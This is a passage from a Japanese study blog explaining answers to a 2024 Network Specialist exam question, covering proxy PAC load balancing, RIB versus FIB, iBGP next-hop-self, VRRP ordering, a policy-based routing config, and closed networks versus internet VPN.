}" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#負荷分散ができるJavaScript</span></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">function</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">FindProxyForURL</span><span style="color: #F8F8F2">(</span><span style="color: #A6E22E">url,</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">host</span><span style="color: #F8F8F2">) {</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #A6E22E">//</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">クライアントのランダム値で50%の確率で優先順位を反転</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> (</span><span style="color: #A6E22E">Math.random</span><span style="color: #F8F8F2">() &lt; 0.5) {</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;PROXY ProxyB:8080; PROXY ProxyC:8080&quot;</span><span style="color: #F8F8F2">;</span></span>
<span class="line"><span style="color: #F8F8F2">    } </span><span style="color: #F92672">else</span><span style="color: #F8F8F2"> {</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;PROXY ProxyC:8080; PROXY ProxyB:8080&quot;</span><span style="color: #F8F8F2">;</span></span>
<span class="line"><span style="color: #F8F8F2">    }</span></span>
<span class="line"><span style="color: #F8F8F2">}</span></span></code></pre></div>



<p class="wp-block-paragraph">▼WPADの詳しいフローなどはこちら</p>



<figure class="wp-block-embed is-type-wp-embed"><div class="wp-block-embed__wrapper">
<a href="https://ascend-beyond.com/study/network_specality/8153/#toc26" title="令和6年（2024年）ネスペ午後Ⅰ　問Ⅲ　解答解説" class="blogcard-wrap internal-blogcard-wrap a-wrap cf"><div class="blogcard internal-blogcard ib-left cf"><div class="blogcard-label internal-blogcard-label"><span class="fa"></span></div><figure class="blogcard-thumbnail internal-blogcard-thumbnail"><img decoding="async" width="160" height="90" src="https://ascend-beyond.com/wp-content/uploads/2026/09/5a56461600ad6ac9062a00c97ca243c6-160x90.jpg" class="blogcard-thumb-image internal-blogcard-thumb-image wp-post-image" alt="" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/5a56461600ad6ac9062a00c97ca243c6-160x90.jpg 160w, https://ascend-beyond.com/wp-content/uploads/2026/09/5a56461600ad6ac9062a00c97ca243c6-300x169.jpg 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/5a56461600ad6ac9062a00c97ca243c6-1024x576.jpg 1024w, https://ascend-beyond.com/wp-content/uploads/2026/09/5a56461600ad6ac9062a00c97ca243c6-768x432.jpg 768w, https://ascend-beyond.com/wp-content/uploads/2026/09/5a56461600ad6ac9062a00c97ca243c6-120x68.jpg 120w, https://ascend-beyond.com/wp-content/uploads/2026/09/5a56461600ad6ac9062a00c97ca243c6-320x180.jpg 320w, https://ascend-beyond.com/wp-content/uploads/2026/09/5a56461600ad6ac9062a00c97ca243c6.jpg 1200w" sizes="(max-width: 160px) 100vw, 160px" /></figure><div class="blogcard-content internal-blogcard-content"><div class="blogcard-title internal-blogcard-title">令和6年（2024年）ネスペ午後Ⅰ　問Ⅲ　解答解説</div><div class="blogcard-snippet internal-blogcard-snippet">設問１（１）ア：ハブアンドスポークこれは知識問題なので覚えておこう！（５）インタフェースにIPアドレス割り当てを行わない設定IP Unnumberedは、文字通り「番号（IPアドレス）を割り当てない...</div></div><div class="blogcard-footer internal-blogcard-footer cf"><div class="blogcard-site internal-blogcard-site"><div class="blogcard-favicon internal-blogcard-favicon"><img decoding="async" src="https://www.google.com/s2/favicons?domain=https://ascend-beyond.com" alt="" class="blogcard-favicon-image internal-blogcard-favicon-image" width="16" height="16" /></div><div class="blogcard-domain internal-blogcard-domain">ascend-beyond.com</div></div><div class="blogcard-date internal-blogcard-date"><div class="blogcard-post-date internal-blogcard-post-date">2026.09.12</div></div></div></div></a>
</div><figcaption class="wp-element-caption">ctrl+Fで「wpad」と検索してください</figcaption></figure>



<h2 class="wp-block-heading"><span id="toc10">設問２</span></h2>



<h3 class="wp-block-heading"><span id="toc11">（１）a:　b:　c:　d:　e:ルーティングテーブル（RIB）　f:</span></h3>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;">e:ルーティングテーブル（RIB）</span></strong></p>



<figure class="wp-block-image size-full"><img decoding="async" width="750" height="129" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-78.png" alt="" class="wp-image-8241" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-78.png 750w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-78-300x52.png 300w" sizes="(max-width: 750px) 100vw, 750px" /></figure>



<p class="wp-block-paragraph">これを間違えてFIBと回答してしまう人が多々いる。なので、ここではRIB、FIB、ルーティングテーブルの違いをササっと見ていこう！<br><strong>▼簡易的な流れ<br></strong>１．ルーティングプロトコルが自身のアルゴリズムをベースに最適パスを見つける。その最適パスをRIBに提出する<br>２．<span class="bold-blue">RIB</span>はAD値で比較してどのプロトコル（OSPF,BGP,EIGRPなど）を最適経路として扱うかを決める。これがいわゆる<span class="bold-blue">ルーティングテーブル</span>に登録するという段階<br>３．パケット転送には、ネクストホップのIPアドレスだけでなく、ネクストホップのMAC、そこに行くための送信ポートを検索する必要がある。それらを毎回やるのは非効率なので１つのテーブルとしてまとめておいてくれるのが<span class="bold-blue">FIB</span>。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>テーブル名</strong></td><td><strong>別名・担当領域</strong></td><td><strong>役割と登録される情報</strong></td></tr></thead><tbody><tr><td><strong>BGP/OSPFテーブル</strong></td><td>各プロトコルのデータベース</td><td>各プロトコル内で選出された「プロトコル内ベストパス（候補）」を保持する。</td></tr><tr><td><strong>ルーティングテーブル</strong></td><td><strong>RIB</strong>（CPU / ソフトウェア）</td><td>複数プロトコルからのベストパスを<strong>AD値で比較</strong>し、勝ち残った「真の最適経路」を登録する。一般的に「ルーティングテーブル」といえばこのRIBを指す。</td></tr><tr><td><strong>FIB</strong></td><td>転送テーブル（ASIC / ハードウェア）</td><td>RIBの情報をもとに、**「宛先IP ➔ 出力ポート ＋ 送信先MAC」**の3要素をあらかじめ計算・バインドした「事前計算済みのカンニングペーパー」。</td></tr></tbody></table></figure>



<h4 class="wp-block-heading"><span id="toc12">▼FIBとは？</span></h4>



<p class="wp-block-paragraph">たとえば、BGPで学習したRIBの情報は次のようになっている。</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>宛先</strong>: <code>10.0.0.0/8</code> ➔ <strong>ネクストホップ</strong>: <code>192.168.1.1</code></p>
</blockquote>



<p class="wp-block-paragraph">これを受け取ったルータは、パケットを目の前のLANケーブルに流すために、以下の<strong>3ステップの検索</strong>を毎回行わなければならない。</p>



<ol start="1" class="wp-block-list">
<li><strong>RIBを検索（1回目）</strong>：宛先 <code>10.0.0.0/8</code> に行くには <code>192.168.1.1</code> に送ればいいな。</li>



<li><strong>RIBを再検索（2回目）</strong>：で、<code>192.168.1.1</code> に送るにはどの物理ポート（例: <code>Ge0/0/1</code>）から出せばいいんだ？（直結経路の確認）</li>



<li><strong>ARPテーブルを検索（3回目）</strong>：<code>192.168.1.1</code> のMACアドレスは何だ？</li>
</ol>



<p class="wp-block-paragraph">パケットが1個届くたびに、CPUがルーティングテーブルとARPテーブルを何回も往復して検索（再帰検索）していたら、毎秒数百万〜数億個届くパケットを捌ききれない。そこで、BGP更新や静的経路の変更があった時に、<strong>あらかじめCPUがこの3ステップを事前に計算して解決した「カンニングペーパー」を作成</strong>する。これが<strong>FIB</strong>。</p>



<h3 class="wp-block-heading"><span id="toc13">（２）自身のIPアドレス</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="796" height="129" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-72.png" alt="" class="wp-image-8234" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-72.png 796w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-72-300x49.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-72-765x124.png 765w" sizes="(max-width: 796px) 100vw, 796px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="579" height="271" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-70.png" alt="" class="wp-image-8232" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-70.png 579w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-70-300x140.png 300w" sizes="(max-width: 579px) 100vw, 579px" /></figure>



<p class="wp-block-paragraph">R13はR11からR12の情報をもらった場合、ネクストホップはR12となっている。なぜならiBGPではネクストホップを変えずに流すから。そのため、R13はR12と接続していないので、その経路は無効扱いになってしまう。R13はR11からR12の情報をもらった場合、ネクストホップはR12となっている。なぜならiBGPではネクストホップを変えずに流すから。そのため、R13はR12と接続していないので、その経路は無効扱いになってしまう。それを防ぐために、R11ではnext-hop-selfをつかう。next-hop-selfを使うことで、<span class="bold-blue">ネクストホップを自身のIPアドレスに上書き</span>できる。これによりR13はR11からもらうR12からの経路も有効として判断できる。<br>これは、R13からR11に渡す場合も同様である。</p>



<h3 class="wp-block-heading"><span id="toc14">（４）VRRPマスターになったR13が経路情報を保持していないと受信したパケットを転送できないから</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="752" height="91" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-79.png" alt="" class="wp-image-8242" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-79.png 752w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-79-300x36.png 300w" sizes="(max-width: 752px) 100vw, 752px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="728" height="311" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-80.png" alt="" class="wp-image-8243" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-80.png 728w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-80-300x128.png 300w" sizes="(max-width: 728px) 100vw, 728px" /></figure>



<p class="wp-block-paragraph">Q.BGPを行った後にVRRPを導入する理由は？<br>A.もし、先にVRRPを稼働させた場合、誤ってR13がマスタになるとR13は経路情報をまだ学習できていないので、流れてきたパケットは破棄されてしまう。そのため、まずは、BGPで経路情報を取得して疎通できる状態にしてから、VRRPを動作させる。<br>そうすることで、VRRP設定時に意図せずR13がマスタに昇格しても疎通を続けられるというわけである。<br>＊VRRP設定作業では、障害が起きていなくてもR13が一瞬（または恒久的に）VRRPマスタになることがあるので、念には念をという観点でこの順番をとる。</p>



<h3 class="wp-block-heading"><span id="toc15">（５）確認事項：パケットロスが発生しないこと① [送信元：R13 宛先：FW10] or [送信元：FW10 宛先：R13] or [送信元：R13 宛先：R11] or [送信元：R11 宛先：R13] ② [送信元：R14 宛先：R13] or [送信元：R13 宛先：R14]</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="724" height="33" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-82.png" alt="" class="wp-image-8246" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-82.png 724w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-82-300x14.png 300w" sizes="(max-width: 724px) 100vw, 724px" /></figure>



<p class="wp-block-paragraph"><strong>確認事項：パケットロスが発生しないこと。<br></strong>　確認事項としては、pingが一発届くだけでなく、しっかりと連続で届くことを確認する。そうすることでパケット落ちが発生してないかという回線・機器の品質を確かめられる</p>



<p class="wp-block-paragraph"><strong>① [<span class="fz-18px">送信元：R13 宛先：FW10] </span>or<span class="fz-18px"> [送信元：FW10 宛先：R13] </span>or<span class="fz-18px"> [送信元：R13 宛先：R11] </span>or<span class="fz-18px"> [送信元：R11 宛先：R13</span>] </strong><br>　LAN側の確認をしている</p>



<p class="wp-block-paragraph"><strong>② [<span class="fz-18px">送信元：R14 宛先：R13] </span>or<span class="fz-18px"> [送信元：R13 宛先：R14</span>]</strong><br>　WAN側の確認をしている</p>



<h3 class="wp-block-heading"><span id="toc16">（７）① R11② R13③ R11 と R12 とを接続する回線④ R13 と R14 とを接続する回線⑤ R11 と L2SW10 とを接続する回線⑥ R13 と L2SW10 とを接続する回線</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="532" height="94" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-84.png" alt="" class="wp-image-8248" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-84.png 532w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-84-300x53.png 300w" sizes="(max-width: 532px) 100vw, 532px" /></figure>



<p class="wp-block-paragraph">これは新規導入による疎通確認テストではない。あくまでも障害試験である。<br><span class="bold-blue">障害試験</span>とは稼働中のシステムに対して、あえて意図的に障害を起こし、裏のルートに切り替わるかを確認すること。<br>よって、今回の目的はマルチホーミングなので既存のR11などもわざと障害を起こしてR13経路に切り替わるかを確認する必要がある。</p>



<h2 class="wp-block-heading"><span id="toc17">設問３</span></h2>



<h3 class="wp-block-heading"><span id="toc18">（１）ルーティングのループが発生する</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="850" height="91" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-85.png" alt="" class="wp-image-8249" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-85.png 850w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-85-300x32.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-85-766x82.png 766w" sizes="(max-width: 850px) 100vw, 850px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="782" height="374" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-86.png" alt="" class="wp-image-8250" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-86.png 782w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-86-300x143.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-86-767x367.png 767w" sizes="(max-width: 782px) 100vw, 782px" /></figure>



<p class="wp-block-paragraph">では、１つ１つ現象を紐解いていこう！</p>



<h4 class="wp-block-heading"><span id="toc19">Q.D社閉域NWの設定変更とは？</span></h4>



<figure class="wp-block-image size-full"><img decoding="async" width="794" height="77" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-87.png" alt="" class="wp-image-8251" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-87.png 794w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-87-300x29.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-87-763x74.png 763w" sizes="(max-width: 794px) 100vw, 794px" /></figure>



<p class="wp-block-paragraph">A.FW40にインターネット宛てのデフォルトルートを広告する設定である。これを設定することで、R12,R14へとインターネット宛ての経路が確立される</p>



<h4 class="wp-block-heading"><span id="toc20">Q.FW10のデフォルトルートの設定変更を行うとは？また、どうなる？</span></h4>



<figure class="wp-block-image size-full"><img decoding="async" width="801" height="75" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-88.png" alt="" class="wp-image-8252" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-88.png 801w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-88-300x28.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-88-758x71.png 758w" sizes="(max-width: 801px) 100vw, 801px" /></figure>



<p class="wp-block-paragraph">A.FW10の変更とは、インターネット宛ての通信をR10からVRRPの仮想IP宛て（＝D社閉域網宛て）に変えることを意図している。</p>



<h4 class="wp-block-heading"><span id="toc21">Q.なぜループになるの？</span></h4>



<p class="wp-block-paragraph">A.上述した内容を念頭に置きつつループが発生するフローを見ていこう<br>▼ループのフロー<br>１．F10のルーティングテーブルにインターネット宛てをD社閉域網宛てにする（VRRPの仮想IP）<br>２．FW10にインターネット宛てのパケットが届くとR11に転送する<br>３．R11のテーブルではインターネット宛てはFW10となっているのでFW10へ送信する<br>４．TTLが０になるまで１～３を繰り返す＝ループ<br>以上がループが起きる原因である。<br>では、次は逆にD社閉域網側のFW40にインターネット宛てのパケットを受け取る設定を入れた場合のフローを見ていこう！<br><strong>▼正しい手順でインターネット宛てルートを設定した場合<br></strong>１．FW40にインターネット宛てデフォルトルートを設定する<br>２．D社閉域網内のMP-BGPによりR12,R14にその経路が流れる<br>３．FW10側でもインターネット宛てはD社閉域網側に行くように設定する<br>４．実際のパケットがFW10に届くとR11に転送する<br>５．R11はR12からeBGPでインターネット宛ての経路を受け取っているのでR12に転送する<br>６．R12はFW40に転送する<br>７．FW40はインターネットへ流す</p>



<h3 class="wp-block-heading"><span id="toc22">（３）送信元IPアドレスがプロキシサーバAで宛先IPアドレスがインターネットであった場合にネクストホップをR10とする設定</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="756" height="313" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-90.png" alt="" class="wp-image-8255" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-90.png 756w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-90-300x124.png 300w" sizes="(max-width: 756px) 100vw, 756px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="820" height="84" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-91.png" alt="" class="wp-image-8256" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-91.png 820w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-91-300x31.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-91-761x78.png 761w" sizes="(max-width: 820px) 100vw, 820px" /></figure>



<p class="wp-block-paragraph">▼<strong>整理された全体フロー</strong></p>



<ul class="wp-block-list">
<li><strong>特定部門（送信元IP制限のあるサービスを利用）</strong>
<ol start="1" class="wp-block-list">
<li>本文にもある通り特定部門にはプロキシAを案内し、ブラウザ等で<strong>プロキシA</strong>を設定してアクセス</li>



<li>FW10がPBRによって「送信元＝プロキシA」を検知し、ネクストホップをR10（旧ルート）へ強制転送</li>



<li><strong>旧グローバルIP</strong>のままインターネットへ出るため、外部サービスのフィルタリングを無事クリア</li>
</ol>
</li>



<li><strong>一般部門（通常通信）</strong>
<ol start="1" class="wp-block-list">
<li>DNSの自動制御（案2）により<strong>プロキシBまたはC</strong>を参照</li>



<li>FW10は通常通りデフォルトルートに従い、D社閉域網（新ルート）へ転送</li>



<li>D社閉域網を通ってFW40（新グローバルIP）でNAPT変換され、インターネットへ出る</li>
</ol>
</li>
</ul>



<p class="wp-block-paragraph">▼PBRの例</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="access-list 1 permit プロキシAのIP サブネット

route-map ルートマップ名 permit シーケンス番号
 match ip address 1
 set ip next-hop R10のIP
 
interface プロキシとつながっているインタフェース名
 ip policy route-map ルートマップ名" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">access-list</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">プロキシAのIP</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">サブネット</span></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ルートマップ名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">シーケンス番号</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">address</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">next-hop</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">R10のIP</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #A6E22E">interface</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">プロキシとつながっているインタフェース名</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">policy</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ルートマップ名</span></span></code></pre></div>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><span id="toc23">p.2 Q.IaaS（Infrastracture as a Service）って何？</span></h3>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="329" height="50" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-49.png" alt="" class="wp-image-8197" style="width:329px;height:auto" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-49.png 329w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-49-300x46.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-49-320x50.png 320w" sizes="(max-width: 329px) 100vw, 329px" /></figure>



<p class="wp-block-paragraph">A.IaaSとは、インフラをクラウド上で利用できるサービスのこと。つまり、自社内に電源、サーバーラック、LANケーブル、ネットワーク環境などの手配をする必要がなくなるということ。しかし、その上で動作するOS、アプリ、FWルールなどはすべて自分でやる必要がある。</p>



<h3 class="wp-block-heading"><span id="toc24">p.2 Q.閉域網ってなに？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="227" height="189" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-50.png" alt="" class="wp-image-8198"/></figure>



<p class="wp-block-paragraph">A.閉域網とはインターネットとは隔絶された独自のネットワーク。主にMPLSサービスなどが代表例としてある。これを使うことによって、閉じた空間なのでプライベートIPアドレスを広告して、離れた拠点間とのプライベートIPアドレス同士の通信ができるようになったりする。</p>



<h3 class="wp-block-heading"><span id="toc25">Q.閉域網とインターネットVPN（IPsecなど）の違いは？</span></h3>



<p class="wp-block-paragraph">正直、閉域網でできることってインターネットVPNでも実現できるよね？暗号化して、カプセル化をすれば離れた拠点でもプライベートIP同士の通信ができるよね。じゃあ、なんで今も閉域網サービスは存在しているの？</p>



<p class="wp-block-paragraph">A.結論から言うと、現代において企業がインターネットVPNではなく閉域網を選ぶ最大の理由は「<span class="bold-blue">通信品質の保証（SLA）</span>」と「<span class="bold-blue">回線の信頼性・安全性の確保</span>」にある。現代のインフラ観点でのポイントを比較表でまとめよう。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>比較項目</strong></td><td><strong>閉域網 (IP-VPNなど)</strong></td><td><strong>インターネットVPN (IPsec)</strong></td></tr></thead><tbody><tr><td><strong>回線の実体</strong></td><td>通信事業者の専用ネットワーク</td><td>公衆インターネット</td></tr><tr><td><strong>品質・帯域 (SLA)</strong></td><td><strong>保証あり</strong>（揺らぎ・遅延がほぼ無い）</td><td><strong>ベストエフォート</strong>（混雑時に遅延・バースト発生）</td></tr><tr><td><strong>ルーティング</strong></td><td>事業者網内でプライベートIPを直で交換可能</td><td>インターネット上にTunnelを掘ってGRE/IPsec等で交換</td></tr><tr><td><strong>暗号化処理</strong></td><td>不要（物理的・論理的に隔離されているため）</td><td><strong>必須</strong>（途中の盗聴を防ぐため）</td></tr><tr><td><strong>オーバーヘッド</strong></td><td>ほぼゼロ</td><td>暗号化＋ESPヘッダー追加による<strong>パケット長増大</strong></td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc26">Q.IaaSと閉域網の連携は誰が負担するの？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="918" height="75" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-51.png" alt="" class="wp-image-8199" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-51.png 918w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-51-300x25.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-51-759x62.png 759w" sizes="(max-width: 918px) 100vw, 918px" /></figure>



<p class="wp-block-paragraph">A社側がIaaS上で自分でD社と契約処理をしているのか、はたまた、B社がサービスとしてあらかじめD社の閉域網を利用できる形式を整えてくれているのか？だれが何をやっているのかを明確にしたい。</p>



<p class="wp-block-paragraph">A.結論から言うと、費用や契約の最終的な負担者は「A社」だが、D社閉域網とB社IaaSの間の物理的・論理的な接続ライン（相互接続）自体は、B社とD社（事業者同士）があらかじめ準備して連携しているものになる。<br>▼<strong>各プレイヤーの役割と負担</strong></p>



<ul class="wp-block-list">
<li><strong>B社（IaaS）と D社（回線事業者）の関係</strong>
<ul class="wp-block-list">
<li>あらかじめB社のデータセンターとD社の閉域網（MPLS網）を大容量の回線で相互接続（ピアリング）しておく。</li>



<li>これにより「D社の閉域網を使っている顧客なら、インターネットを経由せずに直接B社IaaSにアクセスできる準備」が整っている。</li>
</ul>
</li>



<li><strong>A社（利用企業）の契約と費用負担</strong>
<ul class="wp-block-list">
<li>費用を支払うのはすべてA社。</li>



<li>A社は ①D社に対して「自社〜B社IaaS間の閉域網利用オプション料金」 を支払い、②B社に対して「閉域網接続用ポート（専用線ゲートウェイなど）の利用料」 を支払って設定を行う。</li>
</ul>
</li>
</ul>



<h3 class="wp-block-heading"><span id="toc27">Q.もし、IaaSがサポートしていない閉域網を自社で使っていたら？</span></h3>



<p class="wp-block-paragraph">IaaSはサービスとして閉域網をあらかじめ接続準備してくれている。しかし、もし、自社で使っている閉域網がIaaSではサービス対象外であった場合、自分で接続処理などをしなくてはならないの？また、それはどうやってやるの？</p>



<p class="wp-block-paragraph">A.「IaaS側で自社の閉域網が直接サポートされていない場合、中間事業者（マルチクラウド接続事業者）を挟んで繋ぐ」というのが、現代のエンタープライズネットワークにおける標準的な解決策。</p>



<h4 class="wp-block-heading"><span id="toc28">Q.どうやって繋ぐのか？（解決策：中間事業者の利用）</span></h4>



<p class="wp-block-paragraph">そこで登場するのが、<span class="blue">Equinix（エクイニクス）</span>や<span class="blue">Megaport（メガポート）</span>といったデータセンター／マルチクラウド接続事業者（データエクスチェンジ事業者）。<br>▼<strong>接続のイメージ</strong></p>



<ul class="wp-block-list">
<li><strong>自社〜中間事業者</strong>：既存の閉域網（D社）を中間事業者のデータセンターまで伸ばして接続する。</li>



<li><strong>中間事業者〜IaaS</strong>：中間事業者はすでに主要なIaaS（AWS, Azure, GCP等）すべてと大容量の専用線で直結している。</li>



<li><strong>データ転送</strong>：中間事業者の拠点でパケットを折り返し、自社の閉域網からIaaSへ通信を流し込む。</li>
</ul>



<h4 class="wp-block-heading"><span id="toc29">Q.っつか、じゃあ中間事業者をメインの閉域網として使えばよくね？</span></h4>



<p class="wp-block-paragraph">A.完全にその通りで、実際に多くの企業がそのような構成（自社拠点〜中間事業者〜各クラウド）へ移行している。中間事業者の内部ネットワークも閉域網として運用されているので、乗り換えても閉域網として維持できるので問題ない。しかし、運用・契約上の都合などによって従来の閉域網を残す理由もある。<br>▼<strong>従来の閉域網（D社等）を残す主な理由</strong></p>



<ul class="wp-block-list">
<li><strong>ラストワンマイル（物理回線）の調達能力</strong> <br>中間事業者（Equinix等）は「都市部のデータセンター内」に拠点を持っている。全国にある自社オフィスや工場からそのデータセンターまで物理的な回線を引いて連れてくる役割（アクセス回線）として、キャリア（D社等）の網が必要になる。</li>



